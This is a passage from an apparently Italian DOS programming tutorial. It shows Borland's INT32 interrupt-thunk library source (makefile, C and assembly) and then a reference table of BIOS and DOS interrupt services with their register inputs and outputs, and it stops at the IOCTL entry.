# The return value is either a  thunk address which you  can use in calls  to
# set protected mode interrupt vectors, or NULL (in the case of failure).
#
# Note that the thunk returned is not  allocated from a locked page.  If  you
# require that the page  be locked, you  will have to  lock it yourself  with
# DPMI call 600.
#
# Use 'MAKE -fint32 all' to build the lib and the example
#
###############################################################################

LIB_DEP     =     PFXi32t.obj \
            PFXint32.obj

#DEBUG      = -v

all:  int32.lib testint.exe

i32t.obj:   i32t.asm
```

```
      tasm32 /ml /m2 i32t

int32.obj:  int32.c
      bcc32 -WX -c -w $(DEBUG) int32.c

int32.lib:  $(LIB_DEP:PFX=)
      tlib int32.lib @&&|
$(LIB_DEP:PFX=-+)
|

testint.exe:      int32.lib testint.obj
      tlink32 /ax $(DEBUG) /L$(MAKEDIR)\..\lib c0x32 testint,testint,,int32
dpmi32 cw32 import32

testint.obj:      testint.c
      bcc32 -WX -c -w $(DEBUG) testint.c
```

- **INT32.H**

```
#ifndef     __INT32_H
#define     __INT32_H

void *      _makeInt32Thunk (void *proc, void *dsLoc, unsigned short chainSel,
unsigned long chainOffset);

#endif
```

- **INT32.C**

```
/*---------------------------------------------------------------------------*/
/*                                                                           */
/* INT32.C - Source code for INT32.LIB                                       */
/*                                                                           */
/*           Copyright (c) 1994 by Borland International                     */
/*           All Rights Reserved                                             */
/*                                                                           */
/*           This library allows interrupt handlers to be written in C or   */
/*                                                                           */
/*                                                                           */
/*                                                                           */
/*                                                                           */
/*---------------------------------------------------------------------------*/


#include    <stdlib.h>
#include    <mem.h>

#include    "int32.h"

extern      char  _interrupt32Thunk [];
extern      int   _interrupt32ThunkSize;
extern      int   _I32TdsLoadLabel;
extern      int   _I32TcallLabel;
extern      int   _I32TchainCmp;
extern      int   _I32TchainLabel;
extern      int   _I32TchainOffset;
extern      int   _I32TchainSel;

static int interrupt32ThunkSize =   (int)&_interrupt32ThunkSize;
static int I32TdsLoadLabel =        (int)&_I32TdsLoadLabel;
static int I32TcallLabel =          (int)&_I32TcallLabel;
```

```
static int I32TchainCmp =          (int)&_I32TchainCmp;
static int I32TchainLabel =        (int)&_I32TchainLabel;
static int I32TchainOffset =       (int)&_I32TchainOffset;
static int I32TchainSel =          (int)&_I32TchainSel;

#define adjust(where,what) (*(char**)(thunk + (where))) += (what)
#define stampDD(where,what) *(void**)(thunk + (where)) = (what)
#define stampDW(where,what) *(unsigned short *)(thunk + (where)) = (what)

void *      _makeInt32Thunk (void *proc, void *dsLoc, unsigned short chainSel,
unsigned long chainOffset)
{
      char  *thunk;

      thunk = (char *)malloc (interrupt32ThunkSize);
      if    (thunk)
      {
            memcpy (thunk, _interrupt32Thunk, interrupt32ThunkSize);
            stampDD     (I32TdsLoadLabel, dsLoc);
            stampDD     (I32TcallLabel,   (char *)(((char *)proc) - (thunk +
I32TcallLabel + 4)));
            adjust      (I32TchainCmp,      ((unsigned long)thunk) - ((unsigned
long)_interrupt32Thunk));
            adjust      (I32TchainLabel,  ((unsigned long)thunk) - ((unsigned
long)_interrupt32Thunk));
            stampDD     (I32TchainOffset, (void *)chainOffset);
            stampDW     (I32TchainSel,      chainSel);
      }

      return thunk;
}
```

- **INT32.ASM**

```
.386p
locals


_DATA segment dword public 'DATA' use32
      assume cs:_DATA

dummy proc near

@@startThunk            label byte

      PUBLIC      __interrupt32Thunk

__interrupt32Thunk      label byte

      push  eax
      push  ebx
      push  ecx
      push  edx
      push  es
      push  ds
      push  esi
      push  edi
      push  ebp

      mov         ds, word ptr cs:[012345678h]

      PUBLIC      __I32TdsLoadLabel
```

```
__I32TdsLoadLabel EQU $ - @@startThunk - 4

      db    0e8h
      dd    0

      PUBLIC      __I32TcallLabel

__I32TcallLabel         EQU $ - @@startThunk - 4

      pop   ebp
      pop   edi
      pop   esi
      pop   ds
      pop   es
      pop   edx
      pop   ecx
      pop   ebx
      pop   eax

      cmp   dword ptr chainOffset, 0
      PUBLIC      __I32TchainCmp
__I32TchainCmp          EQU $ - @@startThunk - 5
      jne   @@chain
@@iret:
      iret

@@chain:
      jmp   fword ptr [chainOffset]

      PUBLIC      __I32TchainLabel
__I32TchainLabel  EQU $ - @@startThunk - 4

      PUBLIC      __I32TchainOffset
__I32TchainOffset EQU $ - @@startThunk

chainOffset label dword
      dd    0

      PUBLIC      __I32TchainSel
__I32TchainSel          EQU $ - @@startThunk
      dw    0

      PUBLIC      __interrupt32ThunkSize

__interrupt32ThunkSize  EQU $ - @@startThunk

dummy endp

_DATA ends

end
```

Non mi prolungherò nella teoria anche se di fatto non è per nulla complicata.
Alcuni interrupts svolgono più funzioni le quali vengono selezionate inserendo dentro ad appositi registri i valori idonei.
Generalmente AX nel passaggio di valori legati al tipo di funzione richiesta ha un ruolo primario.
Inoltre gli interrupts si attengono alle regole generali delle funzioni ovvero spesso possiedono argomenti in ingresso e molte volte restituiscono determinati valori.
Nella tabella seguente sono riportati i servizi d’interrupts e gli usi dei registri.

- **ROM PRINT SCREEN SERVICE [int 05]**

```
      in:   none
      out:  0050:0000 = status code
                  00 = ready
                  01 = busy
                  FF = previous operation not completed successfully
```

- **ROM VIDEO SERVICES [int 10]**

```
WRITE VIDEO MODE - rom_vid
      in:   ah = wr_vid_mode [00]
            al = mode   00 = 40 X 25 text 16 grey      \
                        01 = 40 X 25 text 16/8 color    |
                        02 = 80 X 25 text 16 grey       |
                        03 = 80 X 25 text 16/8 color    | CGA
                        04 = 320 X 200 graphics 4 color       |
                        05 = 320 X 200 graphics 4 grey        |
                        06 = 640 X 200 graphics b/w    /
                        07 = 80 X 25 text b/w           | MDA
                        08 = 160 X 200 graphics 16 color \
                        09 = 320 X 200 graphics 16 color  | PC-JR
                        0A = 640 X 200 graphics 4 color      /
                        0D = 320 X 200 graphics 16 color \
                        0E = 640 X 200 graphics 16 color  | EGA
                        0F = 640 X 350 graphics 4 color  /
      out:  none

WRITE CURSOR SIZE - rom_vid
      in:   ah = wr_cur_size [01]
            ch = start line        CGA = 0 to 7, default = 6, 7
            cl = end line          MDA = 0 to 13, default = 12, 13
      out:  none
      notes: Setting ch bit 5 causes cursor to disappear.  If start line
            is less than end line, a normal single part cursor is created.
            If start line is greater than end line, a two part cursor is
            created.

WRITE CURSOR POSITION - rom_vid
      in:   ah = wr_cur_pos [02]
            bh = page (0 for graphics modes)
            dh = row
            dl = col
      out:  none
      notes:      Writing cursor to an off screen position causes it to
            disappear.

READ CURSOR POSITION - rom_vid
      in:   ah = rd_cur_pos [03]
      out:  bh = page (0 for graphics modes)
            ch = start line
            cl = end line
            dh = row
            dl = col

READ LIGHT PEN POSITION - rom_vid
      in:   ah = rd_pen_pos [04]
      out:  ah = pen trigger switch
                  1 = triggered
```

```
                 0 = not triggered
           bx = pixel col
           ch = pixel row
           dh = char row
           dl = char col

WRITE ACTIVE PAGE - rom_vid
      in:   ah = wr_act_page [05]
            al = page
      out:  none

PC-JR WRITE ACTIVE PAGE - rom_vid
      in:   ah = wr_act_page [05]
            al = 80
      out:  bh = CRT reg
            bl = CPU reg

      in:   ah = wr_act_page [05]
            al = 81
            bl = CPU reg
      out:  bh = CRT reg
            bl = CPU reg

      in:   ah = wr_act_page [05]
            al = 82
            bh = CRT reg
      out:  bh = CRT reg
            bl = CPU reg

      in:   ah = wr_act_page [05]
            al = 83
            bh = CRT reg
            bl = CPU reg
      out:  bh = CRT reg
            bl = CPU reg

SCROLL WINDOW UP - rom_vid
      in:   ah = scroll_up [06]
            al = lines (0 = all)
            bh = color attribute
                  bit 7 = blink
                  bit 6 = backgnd red
                  bit 5 = backgnd green
                  bit 4 = backgnd blue
                  bit 3 = foregnd intensity
                  bit 2 = foregnd red
                  bit 1 = foregnd green
                  bit 0 = foregnd blue
            ch = upper row
            cl = left col
            dh = lower row
            dl = right col
      out:  none

SCROLL WINDOW DOWN - rom_vid
      in:   ah = scroll_down [07]
            al = lines (0 = all)
            bh = color attribute (see scroll_up)
            ch = upper row
            cl = left col
            dh = lower row
            dl = right col
      out:  none
```

```
READ CHARACTER AND ATTRIBUTE - rom_vid
      in:   ah = rd_char_attr [08]
            bh = page
      out:  al = char
            ah = color attribute (see scroll_up)

WRITE CHARACTER AND ATTRIBUTE - rom_vid
      in:   ah = wr_char_attr [09]
            al = char
            bh = page
            bl = color attribute (see scroll_up)
            cx = chars
      out:  none
      notes:      Cursor is not moved.

WRITE CHARACTER - rom_vid
      in:   ah = wr_char [0A]
            al = char
            bh = page
            bl = graphics mode color
            cx = chars
      out:  none
      notes:      Cursor is not moved.

WRITE COLOR PALETTE - rom_vid
      in:   ah = wr_col_pal [0B]
            bh = palette id
            bl = color
      out:  none

WRITE PIXEL - rom_vid
      in:   ah = wr_pixel [0C]
            al = color
            cx = pixel col
            dl = pixel row
      out:  none

READ PIXEL - rom_vid
      in:   ah = rd_pixel [0D]
            cx = pixel col
            dl = pixel row
      out:  al = color

WRITE TTY CHARACTER - rom_vid
      in:   ah = wr_tty [0E]
            al = char
            bl = graphics mode color
      out:  none

READ VIDEO MODE - rom_vid
      in:   ah = rd_vid_mode [0F]
      out:  ah = width in chars
            al = video mode
            bh = page (0 for graphics modes)

PC-JR WRITE COLOR PALETTE REGISTER - rom_vid
      in:   ah = wr_pal_reg [10]
            al = 00
            bh = palette value
            bl = palette reg
      out:  none
```

```
      in:   ah = wr_pal_reg [10]
            al = 01
            bh = border color
      out:  none

PC-AT WRITE STRING - rom_vid
      in:   ah = wr_string [13]
            al = cursor movement switch
                  00 = no
                  01  = yes
            bl = color attribute (see scroll_up)
            bh = page
            dx = start cursor position
            cx = string length
           es:bp = string pointer
      out:  none
```

- **ROM EQUIPMENT SERVICE [int 11]**

```
      in:   none
      out:  ax bit settings = equipment list
                  0 = disk drive
                  1 = math coprocessor
                  2,3 = system board RAM in 16k blocks
                  4,5 = initial video mode
                        00 = unused
                        01 = 40 X 25 color
                        10 = 80 X 25 color
                        11 = 80 X 25 b/w
                  6,7 = number of disk drives
                  8 = DMA not present
              9,10,11 = number of RS232 cards in system
                   12 = game I/O present
                   13 = serial printer present
                14,15 = number of printers present


rom_mem           ROM MEMORY SIZE SERVICE [int 12]
      in:   none
      out:  ax = size in K
```

- **ROM DISKETTE SERVICES [int 13]**

```
RESET DISKETTE SYSTEM - rom_disk
      in:   ah = rst_disk [00]
      out:  none

READ DISKETTE STATUS - rom_disk
      in:   ah = rd_disk_stat [01]
      out:  al = return code
                  01 = bad command
                  02 = address mark not found
                  03 = write protected
                  04 = sector not found
                  06 = no disk
                  08 = DMA overrun
                  09 = DMA across 64K boundary
                  10 = bad CRC
                  20 = controller failed
                  40 = seek failed
                  80 = time out
```

```
READ DISKETTE SECTOR - rom_disk
      in:   ah = rd_disk_sect [02]
            al = sectors to read
            ch = track
            cl = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)
            al = sectors read

WRITE DISKETTE SECTOR - rom_disk
      in:   ah = wr_disk_sect [03]
            al = sectors to write
            ch = track
            cl = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)
            al = sectors written

VERIFY DISKETTE SECTOR - rom_disk
      in:   ah = ver_disk_sect [04]
            al = sectors to verify
            ch = track
            cl = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)
            al = sectors verified

FORMAT DISKETTE TRACK - rom_disk
      in:   ah = fmt_disk_trk [05]
            al = sectors to format
            ch = track
            cl = sector
            dh = head
            dl = drive
           es:bx = four byte address field pointer
                  byte 1 = track
                  byte 2 = head
                  byte 3 = sector
                  byte 4 = bytes/sector
      out:  cf = error
            ah = return code (see rd_disk_stat)
            al = sectors formatted

PC-AT READ DISKETTE PARAMETERS - rom_disk
      in:   ah = rd_disk_parm [08]
      out:  cf = error
            ah = return code (see rd_disk_stat)
            dl = drives
            dh = max sides
            cl = max sectors
            ch = max tracks

PC-AT INITIALIZE DISKETTE PARAMETERS - rom_disk
```

```
      in:   ah = init_disk_parm [09]
      out:  cf = error
            ah = return code (see rd_disk_stat)
            int 41 vector points to drive 0 table
            int 46 vector points to drive 1 table

PC-AT READ DISKETTE LONG - rom_disk [0A]
      in:   ah = rd_disk_long
            ch = cylinder
            cl = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT WRITE DISKETTE LONG - rom_disk
      in:   ah = wr_disk_long [0B]
            ch = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT SEEK DISKETTE TRACK - rom_disk
      in:   ah = disk_seek [0C]
            ch = sector
            dh = head
            dl = drive
           es:bx = buffer pointer
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT ALTERNATE DISKETTE RESET - rom_disk
      in:   ah = alt_reset_disk [0D]
            dl = drive
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT TEST FOR DISKETTE READY  - rom_disk
      in:   ah = test_disk_rdy [10]
            dl = drive
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT RECALIBRATE DISKETTE - rom_disk
      in:   ah = recal_disk [11]
            dl = drive
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT DISKETTE DIAGNOSTICS - rom_disk
      in:   ah = disk_diag [14]
      out:  cf = error
            ah = return code (see rd_disk_stat)

PC-AT READ DISKETTE TYPE - rom_disk
      in:   ah = rd_disk_type [15]
            dl = drive
      out:  ah = disk type
                  00 = no disk
                  01 = disk, no change detector present
```

```
                  02 = disk, change detector present
                  03 = fixed disk
                        cx,dx = number of 512 byte sectors

PC-AT CHANGE DISKETTE STATUS - rom_disk
      in:   ah = chg_disk_stat [16]
      out:  ah = change status
                  00 = no change
                  01 = change
            dl = drive

PC-AT WRITE DISKETTE TYPE - rom_disk
      in:   ah = wr_disk_type [17]
            al = disk type
                  00 = no disk
                  01 = regular disk in regular drive
                  02 = high capacity disk in high capacity drive
      out:  none
```

- **ROM SERIAL PORT SERVICES [int 14]**

```
INITIALIZE SERIAL PORT - rom_serial
      in:   ah = init_port [00]
            al bit settings = port configuration
                  0,1 = word length
                        10 = 7 bits
                        11 = 8 bits
                  2 = stop bits
                        0 = 1
                        1 = 2
                  3,4 = parity
                        00 = none
                        01 = odd
                        10 = none
                        11 = even
                5,6,7 = baud rate
                        000 = 110
                        001 = 150
                        010 = 300
                        011 = 600
                        100 = 1200
                        101 = 2400
                        110 = 4800
                        111 = 9600 (4800 on PC-JR)
            dx = port
      out:  ah bits = usar/t status
                  0 = data ready
                  1 = overrun error
                  2 = parity error
                  3 = framing error
                  4 = break detect
                  5 = tx ready
                  6 = tx empty
                  7 = timeout
            al bits = modem status
                  0 = delta CTS
                  1 = delta DSR
                  2 = trailing edge ring detected
                  3 = delta carrier detect
                  4 = CTS
                  5 = DSR
```

```
                  6 = ring detect
                  7 = carrier detect

TRANSMIT CHARACTER - rom_serial
      in:   ah = tx_char [01]
            al = char
            dx = port
      out:  ah bits = usar/t status (see init_port)
            al bits = modem status (see init_port)


RECEIVE CHARACTER - rom_serial
      in:   ah = rx_char [02]
            dx = port
      out:  al = char
            ah bits = usar/t status (see init_port)

READ SERIAL PORT STATUS - rom_serial
      in:   ah = rd_port_stat [03]
      out:  ax bits = status (see init_port)
```

- **ROM DEVICE SERVICES [int 15]**

```
TURN CASSETTE MOTOR ON - rom_dev
      in:   ah = cass_on [00]
      out:  none

TURN CASSETTE MOTOR OFF - rom_dev
      in:   ah = cass_off [01]
      out:  none

READ CASSETTE DATA BLOCK - rom_dev
      in:   ah = cass_rd [02]
            cx = byte count
         es:bx = buffer pointer
      out:  cf = error
            dx = byte count
         es:bx = pointer past last byte

WRITE CASSETTE DATA BLOCK - rom_dev
      in:   ah = cass_wr [03]
            cx = byte count
         es:bx = buffer pointer
      out:  es:bx = pointer past last byte

PC-AT OPEN DEVICE - rom_dev
      in:   ah = open_dev [80]
            bx = id
            cx = process type
      out:  none

PC-AT CLOSE DEVICE - rom_dev
      in:   ah = close_dev [81]
            bx = device id
            cx = process type
      out:  none

PC-AT TERMINATE DEVICE - rom_dev
      in:   ah = term_dev [82]
            bx = device id
```

```
      out:  none

PC-AT EVENT WAIT - rom_dev
      in:   ah = event_wait [83]
            al = subservice
                  0 = set interval
                  1 = cancel
           es:bx = buffer pointer
           cx,dx = microseconds to wait
      out:  none

PC-AT JOYSTICK - rom_dev
      in:   ah = joystick [84]
            dl = 0
      out:  al = current switch settings

PC-AT Sys Req KEY - rom_dev
      in:   ah = sys_req [85]
            al = switch
                  00 = press
                  01 = break
      out:  none

PC-AT WAIT - rom_dev
      in:   ah = wait [86]
           cx,dx = microseconds to wait
      out:  none

PC-AT MOVE BLOCK - rom_dev
      in:   ah = move_block [87]
            cx = words to move
           es:si = table pointer
      out:  none

PC-AT READ EXTENDED MEMORY SIZE - rom_dev
      in:   ah = rd_ext_mem [88]
      out:  none

PC-AT SWITCH TO VIRTUAL MEMORY - rom_dev
      in:   ah = virtual_mem [89]
      out:  none

PC-AT DEVICE BUSY LOOP - rom_dev
      in:   ah = dev_busy [90]
            al = type code
      out:  none

PC-AT SET FLAG AND COMPLETE SERVICE - rom_dev
      in:   ah = complete_int [91]
            al = type code
      out:  none
```

- **ROM KEYBOARD SERVICES [int 16]**

```
READ KEYBOARD - rom_key
      in:   ah = rd_key [00]
      out:  ah = scan code
            al = char code

TEST KEYBOARD - rom_key
      in:   ah = test_key [01]
```

```
      out:  zf = key ready
      out:  ah = scan code
            al = char code

READ SHIFT STATUS - rom_key
      in:   ah = rd_shift [02]
      out:  al bits = shift status
                  0 = right shift
                  1 = left shift
                  2 = ctrl
                  3 = alt
                  4 = scroll lock
                  5 = num lock
                  6 = caps lock
                  7 = insert

PC-JR TYPEMATIC DELAY - rom_key
      in:   ah = key_delay [03]
            al = operation code
                  00 = reset delays
                  01 = increase initial delay
                  02 = increase continue delay
                  03 = increase both delays
                  04 = turn off typematic
      out:  none

PC-JR KEYBOARD CLICK - rom_key
      in:   ah = key_click [04]
            al = operation code
                  00 = click off
                  01 = click on
      out:  none
```

- **ROM PRINTER SERVICES [int 17]**

```
PRINT CHARACTER - rom_print
      in:   ah = print_char [00]
            al = char
      out:  ah bits = return code
                  0 = timeout
                  1 = unused
                  2 = unused
                  3 = I/O error
                  4 = selected
                  5 = no paper
                  6 = ack
                  7 = not busy

INITIALIZE PRINTER - rom_print
      in:   ah = init_print [01]
      out:  ah bits = return code (see print_char)

READ PRINTER STATUS - rom_print
      in:   ah = rd_print_stat [02]
      out:  ah bits = return code (see print_char)
```

- **ROM START BASIC SERVICE [int 18]**

- **ROM REBOOT SERVICE [int 19]**

- **ROM REAL TIME CLOCK SERVICES [int 1A]**

```
READ CLOCK COUNT - rom_time
      in:   ah = rd_count [00]
      out:  al = midnight
           cx:dx = ticks

WRITE CLOCK COUNT - rom_time
      in:   ah = wr_count [01]
           cx:dx = ticks
      out:  none

PC-AT READ TIME - rom_time
      in:   ah = rd_time [02]
      out:  ch = hours
            cl = minutes
            dh = seconds

PC-AT WRITE TIME - rom_time
      in:   ah = wr_time [03]
            ch = hours
            cl = minutes
            dh = seconds
      out:  none

PC-AT READ DATE - rom_time
      in:   ah = rd_date [04]
      out:  dl = day
            dh = month
            cl = year
            ch = century (19/20)

PC-AT WRITE DATE - rom_time
      in:   ah = wr_date [05]
            dl = day
            dh = month
            cl = year
            ch = century (19/20)
      out:  none

PC-AT SET ALARM - rom_time
      in:   ah = set_alarm [06]
            ch = hours
            cl = minutes
            dh = seconds
      out:  none
      notes:      place alarm handler address in int 4A vector

PC-AT RESET ALARM - rom_time [07]
      in:   ah = reset_alarm
      out:  none
```

I seguenti invece sono servizi del DOS quasi tutti inseriti dentro agli interrupts 20 e 21.

DOS

- **DOS PROGRAM TERMINATION SERVICE [int 20]**

- **DOS FUNCTION SERVICES [int 21]**

```
DOS1 - TERMINATE PROGRAM - dos_func
      in:   ah = term [00]
      out:  none

DOS1 - KEYBOARD INPUT WITH ECHO - dos_func
      in:   ah = key_in_echo [01]
      out:  al = char

DOS1 - DISPLAY OUTPUT - dos_func
      in:   ah = disp_out [02]
            dl = char
      out:  none

DOS1 - SERIAL INPUT - dos_func
      in:   ah = serial_in [03]
      out:  al = char

DOS1 - SERIAL OUTPUT - dos_func
      in:   ah = serial_out [04]
            dl = char

DOS1 - PRINTER OUTPUT - dos_func
      in:   ah = printer_out [05]
            dl = char

DOS1 - DIRECT CONSOLE I/O - dos_func
      in:   ah = console_io [06]
            dl = operation code
                  00 thru FE = char to output
                        FF = keyboard input
      out:  al = char input

DOS1 - DIRECT KEYBOARD INPUT - dos_func
      in:   ah = dir_key_in [07]
      out:  al = char

DOS1 - KEYBOARD INPUT WITHOUT ECHO - dos_func
      in:   ah = key_in [08]
      out:  al = char

DOS1 - DISPLAY STRING - dos_func
      in:   ah = disp_string [09]
            ds:dx = string pointer
      out:  none

DOS1 - BUFFERED KEYBOARD INPUT - dos_func
      in:   ah = buf_key_in [0A]
           ds:dx = buffer pointer
      out:  none

DOS1 - CHECK KEYBOARD STATUS - dos_func
      in:   ah = chk_key_stat [0B]
      out:  al = status
                  00 = empty
                  FF = char available
```

```
DOS1 - CLEAR KEY BUFFER AND PERFORM FUNCTION - dos_func
      in:   ah = clr_key_func [0C]
            al = subfunction (01, 06, 07, 08, or 0A; 00 = null)
            dl = subfunction 6 char
      out:  al = subfunction 6 char

DOS1 - RESET DISK - dos_func
      in:   ah = reset_disk [0D]
      out:  none

DOS1 - SELECT CURRENT DRIVE - dos_func
      in:   ah = sel_drive [0E]

            dl = drive
      out:  al = drive count

DOS1 - OPEN FILE - dos_func
      in:   ah = open_file [0E]
           ds:dx = FCB pointer
      out:  al = return code
                  00 = successful
                  FF = unsuccessful

DOS1 - CLOSE FILE - dos_func
      in:   ah = close_file [10]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - SEARCH FOR FIRST MATCHING FILE - dos_func
      in:   ah = search_first [11]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - SEARCH FOR NEXT MATCHING FILE - dos_func
      in:   ah = search_next [12]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - DELETE FILE - dos_func
      in:   ah = delete_file [13]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - READ SEQUENTIAL RECORD - dos_func
      in:   ah = rd_seq_rec [14]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - WRITE SEQUENTIAL RECORD - dos_func
      in:   ah = wr_seq_rec [15]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - CREATE FILE - dos_func
      in:   ah = create_file [16]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - RENAME FILE - dos_func
      in:   ah = rename_file [17]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)
```

```
DOS1 - REPORT CURRENT DRIVE - dos_func
      in:   ah = rd_cur_drive [19]
      out:  al = drive

DOS1 - SET DISK TRANSFER AREA FUCNTION - dos_func
      in:   ah = set_dta [1A]
           ds:dx = DTA pointer
      out:  none

DOS1 - READ CURRENT DRIVE'S FAT - dos_func
      in:   ah = rd_fat_1 [1B]
      out:  al = sectors/allocation unit
            cx = bytes/sector
            dx = allocation units
           ds:dx = FAT ID byte pointer

DOS1 - READ ANY DRIVE'S FAT - dos_func
      in:   ah = rd_fat_2 [1C]
            dl = drive
      out:  al = sectors/allocation unit
            cx = bytes/sector
            dx = allocation units
           ds:dx = FAT ID byte pointer

DOS1 - READ RANDOM FILE RECORD - dos_func
      in:   ah = rd_ran_rec1 [21]
           ds:dx = FCB pointer
      out:  al = return code
                  00 = successful
                  01 = end of file
                  02 = insufficient DTA space
                  03 = end of file with partial record

DOS1 - WRITE RANDOM FILE RECORD - dos_func
      in:   ah = wr_ran_rec1 [22]
           ds:dx = FCB pointer
      out:  al = return code (see rd_ran_rec1)

DOS1 - REPORT FILE SIZE - dos_func
      in:   ah = rd_file_size [23]
           ds:dx = FCB pointer
      out:  al = return code (see open_file)

DOS1 - SET RANDOM RECORD FIELD SIZE - dos_func
      in:   ah = set_ran_rec [24]
           ds:dx = FCB pointer
      out:  none

DOS1 - SET INTERRUPT VECTOR - dos_func
      in:   ah = set_int_vec [25]
            al = int number
           ds:dx = int handler pointer
      out:  none

DOS1 - CREATE PROGRAM SEGMENT FUCNTION - dos_func
      in:   ah = create_seg [26]
            dx = segment address
      out:  none

DOS1 - READ RANDOM FILE RECORD - dos_func
      in:   ah = rd_ran_rec2 [27]
            cx = record count
           ds:dx = FCB pointer
```

```
      out:  al = return code (see rd_ran_rec1)
            cx = actual record count

DOS1 - WRITE RANDOM FILE RECORD FUCNTION - dos_func
      in:   ah = wr_ran_rec2 [28]
            cx = record count
           ds:dx = FCB pointer
      out:  cx = actual record count

DOS1 - PARSE FILENAME - dos_func
      in:   ah = parse_name [29]
            al bits = parse control
                  0 = scan separators
                  1 = set FCB drive byte
                  2 = change FCB filename only if file is found
                  3 = change FCB extension only if file is found
           ds:si = command line pointer
           es:di = FCB pointer
      out:  al = return code
                  00 = success with single filename
                  01 = success with wildcard
                  FF = failure
           ds:si = char following file name pointer
           es:di = FCB pointer

DOS1 - GET DATE - dos_func
      in:   ah = get_date [2A]
      out:  al = day of week (0 = Sun, 6 = Sat)
            cx = year (1980 thru 2099)
            dh = month
            dl = day

DOS1 - SET DATE - dos_func
      in:   ah = set_date [2B]
            cx = year (1980 thru 2099)
            dh = month
            dl = day
      out:  none

DOS1 - GET TIME - dos_func
      in:   ah = get_time [2C]
      out:  cl = minutes
            ch = hours
            dl = seconds 100th's
            dh = seconds

DOS1 - SET TIME - dos_func
      in:   ah = set_time [2D]
            cl = minutes
            ch = hours
            dl = seconds 100th's
            dh = seconds
      out:  none

DOS1 - SET DISK WRITE VERIFICATION MODE - dos_func
      in:   ah = set_verify [2E]
            al = verify switch
                  00 = verify off
                  01 - verify on
            dl = 00
      out:  none

DOS2 - GET DISK TRANSFER AREA ADDRESS - dos_func
```

```
      in:   ah = get_dta [2F]
      out:    es:bx = DTA pointer

DOS2 - GET DOS VERSION NUMBER - dos_func
      in:   ah = get_ver [30]
      out:  al = major
            ah = minor
            bx = 0000
            cx = 0000

DOS2 - ADVANCED TERMINATE BUT STAY RESIDENT - dos_func
      in:   ah = keep [31]
            al = return code
            dx = segment address of memory to free
      out:  none

DOS2 - GET/SET CONTROL BREAK STATUS - dos_func
      in:   ah = cntrl_brk [33]
            al = get/set switch
                  00 = get
                  01 = set
            dl = set code
                  00 = break check off
                  01 = break check on
      out:  dl = get code (same as set code)

DOS2 - GET INTERRUPT VECTOR - dos_func
      in:   ah = get_int_vec [35]
            al = int number
      out: es:bx = int vector

DOS2 - GET DISK FREE SPACE - dos_func
      in:   ah = get_space [36]
            dl = drive
      out:  ax = sectors/cluster
            bx = available clusters
            cx = bytes/sector
            dx = total clusters

DOS2 - GET COUNTRY INFORMATION - dos_func
      in:   ah = get_country [38]
            al = operation code
                  00 = standard info
               01 - FE = country code
                  FF = country code in bx
            bx = country code when al = FF
           ds:dx = 32 byte buffer pointer
      out:  cf = error
            al = return code
           ds:dx = info pointer
            bx = country code

DOS2 - MAKE DIRECTORY - dos_func
      in:   ah = mkdir [39]
           ds:dx = ASCIIZ pointer
      out:  ax = return code
                  01 = invalid function
                  02 = file not found
                  03 = path not found
                  04 = no more handles
                  05 = access denied
                  06 = invalid handle
                  07 = memory control blocks destroyed
```

```
                 08 = insufficient memory
                 09 = invalid memory block address
                 0A = invalid environment
                 0B = invalid format
                 0C = invalid access code
                 0D = invalid data
                 0F = invalid drive spec
                 10 = attempt to remove current directory
                 11 = not same device
                 12 = no more files

DOS2 - REMOVE DIRECTORY - dos_func
      in:   ah = rmdir [3A]
         ds:dx = ASCIIZ pointer
      out:  ax = return code (see mkdir)

DOS2 - CHANGE CURRENT DIRECTORY FUNCTION - dos_func
      in:   ah = chdir [3B]
         ds:dx = ASCIIZ pointer
      out:  ax = return code (see mkdir)

DOS2 - CREATE FILE - dos_func
      in:   ah = create [3C]
            cx = file attribute
                 bit 7 = unused
                 bit 6 = unused
                 bit 5 = archive
                 bit 4 = subdirectory
                 bit 3 = volume label
                 bit 2 = system
                 bit 1 = hidden
                 bit 0 = read only
         ds:dx = ASCIIZ pointer
      out:  cf = error
            ax = handle or return code (see mkdir)

DOS2 - OPEN FILE - dos_func
      in:   ah = open [3D]
            al = access code
                 rd_only     = read only
                 wr_only     = write only
                 rd_wr = read/write
         ds:dx = ASCIIZ pointer
      out:  cf = error
            ax = handle or return code code (see mkdir)

DOS2 - CLOSE FILE - dos_func
      in:   ah = close [3E]
            bx = handle
      out:  ax = return code (see mkdir)

DOS2 - READ FILE/DEVICE - dos_func
      in:   ah = read [3F]
            bx = handle
            cx = bytes to read
         ds:dx = DTA pointer
      out:  cf = error
            ax = bytes read or return code code (see mkdir)

DOS2 - WRITE FILE/DEVICE - dos_func
      in:   ah = write [40]
            bx = handle
            cx = bytes to write
```

```
           ds:dx = DTA pointer
      out:  cf = error
            ax = bytes written or return code (see mkdir)

DOS2 - DELETE FILE - dos_func
      in:   ah = delete [41]
           ds:dx = DTA pointer
      out:  ax = return code (see mkdir)

DOS2 - MOVE FILE POINTER - dos_func
      in:   ah = move_pointer [42]
            al = method code
           cx:dx = offset
      out:  cf = error
            ax = return code (see mkdir)
           ds:ax = new pointer location

DOS2 - CHANGE FILE MODE - dos_func
      in:   ah = chmod [43]
            al = get/set switch
                  00 =get
                  01 = set
            cx = file attribute (see create)
           ds:dx = ASCIIZ pointer
      out:  ax = return code (see mkdir)
            cx = file attribute (see create)

DOS2 - DEVICE I/O CONTROL - dos_func
      in:   ah = ioctl [44]
